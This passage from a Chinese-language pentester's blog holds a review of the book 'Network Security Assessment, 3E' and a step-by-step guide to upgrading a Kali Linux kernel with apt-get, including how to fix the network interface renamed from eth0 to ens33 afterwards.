十三、光碟換成硬碟後,這臺機器就有三顆磁碟機(原本的1T HDD、加裝的SSD、替換光碟的HDD),現在這臺筆電共有 2.5TB的容量。

2017年9月9日 星期六

好書介紹:資安風險評估指南第三版(Chris McNab 著)

每位資安人都想挖掘0-day的漏洞,這可不是簡單的事,必須集技術 、設備、時間及機會於一身才找得到,如果0-day那麼好找,電腦就沒有人敢用了!
務實一點,做為滲透測試人員,主要是幫客戶找出環境中現存「已知」的漏洞,不要好高鶩遠只想著0-day。
一本書能出到三版,表示它夠受歡迎, 碁峰最近出版了中譯的「資安風險評估指南第三版」(原文:Network Security Assessment, 3E ),個人覺得很適合初進滲透測試領域的人閱讀。
前三章是一般的觀念,但從第四章到十五章就是介紹現今較常看到的漏洞,作者不僅列舉漏洞,還介紹檢測的方法或工具,對於剛進到滲透測試領域,只懂得使用工具,但欠缺漏洞判讀的測驗者,這是一本相當不錯的參考書籍,相信對於實際進行滲透測試,或者平日自我練習都能提供相當助益。

2016年9月22日 星期四

如何進行 Kali 核心版本升級?

Kali一直是我執行滲透測試的主要工作環境,但從1.x版開始,每次Kali升級核心版本,就必須重新安裝及設定環境、腳本,讓我不勝其煩。我一直尋找原機升級核心的方法,但嘗試幾次升級,升級後系統都直接崩潰,感到十分挫折。
直到2016年,Kali啟用滾動更新機制,聽說可以一直更新核心版本,心中重新燒起一絲希望,經實際進行升級後,發現事情沒有想像的簡單,如果您的系統原本就使用 Kali 4.3.x 以上的核心版本,持續升級的成功率相當高,若不幸像我一樣想從 4.0.x版要升級到 4.6.x,就有些難度了,甚至會造成系統崩潰。底下的過程皆是在VMWare的虛擬機上的 Kali 4.0.4實作。
在進行核心升級之前,建議先備份虛擬機,或建立一份 snapshot,以便系統崩潰之後可以快速還原。

一、在進行滾動式核心升級之前,請先將現行系統升級到最新版,指令如下:
apt-get update
apt-get dist-upgrade         #過程中所有提問都採預設值即可
reboot
 如果升級之後無法以正常方式開機,請在開機選單中選擇「Advanced options for kali GNU/Linux」,然後從下一層選單中選擇「recovery mode」進入修復模式。
在修復模式下,執行
apt-get update
apt-get -f install
reboot

二、修改 /etc/apt/sources.lst,將原來的更新來源都註解掉,然後加入 「deb http://http.kali.org/kali kali-rolling main non-free contrib」 這一列是日後滾動更新的來源位址。
三、進行核心升級,這個過程視情況可能一回就成功,也可能要執行二、三回
apt-get update
apt-get upgrade          # 有的機器不執行也沒影響, 有的機器不執行,就無法升級成功
apt-get dist-upgrade          #過程中所有提問都採預設值即可
reboot
四、升級後,重新開機,使用 uname -a  查看是否順利將Kali核心版本提升到最新版本,有時升級後網卡 eth0 會不見了,利用ifconfig -a 會看到新的一片 ens?? 的網卡,而且不會自動連線,(有的系統並不會出現這個問題)。
請手動啟動此網卡,及配置網址:
 # 先讓這張網卡可以連線,以便進行後續更新
ifconfig ens33 up
dhclient ens33
# 確定網卡可以連線後,請執行
 apt-get update
apt-get -f install
如果用 uname -a 發現核心版本仍停留在原來的舊版本,請重新系統,再進行一次更新:
reboot     # 請先重新開機
apt-get update
apt-get dist-upgrade
reboot
五、當系統完成核心升級後,可以修改 /etc/udev/rules.d/70-persistent-net.rules 的內容,在裡頭加入「SUBSYSTEM=="net", DRIVERS=="?*", ATTR{address}=="<網卡的MAC>", NAME="eth0"」,重新開機後就可以找回原來的 eth0 網卡了。
六、若順利升級到 4.6.x版,以後只要定期執行
apt-get update
apt-get dist-upgrade
就能一直持續更新核心了。

升級過程中遇到的問題
這次共升級四臺虛擬機,發生三個升級失敗的問題, 分別如下:
第一臺是由4.5升級4.6,升級過程順利,也能正常開機,但在登入 X-Windows 後,只要一開啟虛擬終端機(terminal)就會被強迫登出, 而需要重新登入,這一來根本無法作業。
解決方法是進入修復模式,依序執行
 apt-get -f install
 apt-get update
apt-get upgrade

第二臺是4.0.4升級4.6,升級後,每次開機都會停留在「[ OK ] Started Update UTMP about System Runlevel Changes」,無法完成開機作業。就算利用 Ctrl+Alt+F2 切換到其他終端機,也會因為畫面閃爍而無法輸入指令。
解決方法是進入修復模式再依序執行
 apt-get -f install
 apt-get update
apt-get upgrade
reboot
apt-get update
apt-get dist-upgrade

第三、四臺也是4.0.4升級4.6,升級後,只是沒有圖形介面,因為我已移除XWindow,單純用來執行 nessus 服務及openvas 服務之用,這兩臺的情形皆相同,都是eth0被改成ens33,解決方式在上文中已提過了,就是 修改 /etc/udev/rules.d/70-persistent-net.rules 的內容